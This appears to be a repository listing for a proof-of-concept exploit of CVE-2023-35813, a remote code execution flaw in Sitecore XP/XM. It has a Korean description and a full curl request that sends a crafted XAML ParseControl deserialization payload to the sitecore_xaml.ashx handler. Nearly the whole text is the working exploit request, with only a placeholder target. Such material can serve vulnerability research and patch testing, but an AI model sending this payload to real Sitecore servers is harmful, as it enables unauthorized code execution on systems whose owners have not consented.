nmlz/cve-2023-35813_pocCVE-2023-35813에 대한 개념 증명 익스플로잇으로, 조작된 XAML 요청을 통해 Sitecore XP/XM에서 원격 코드 실행 취약점을 악용합니다. ParseControl 역직렬화 공격을 시연합니다.
curl -k -v -X POST "https://[target]/sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index"
-H "Content-Type: application/x-www-form-urlencoded"
--data-urlencode "__ISEVENT=1"
--data-urlencode "__SOURCE="
--data-urlencode "__PARAMETERS=ParseControl("<%@Register
TagPrefix='x'
Namespace='System.Runtime.Remoting.Services'
Assembly='System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'
%>
<x:RemotingService runat='server'
Context-Response-ContentType='test123'
/>")"
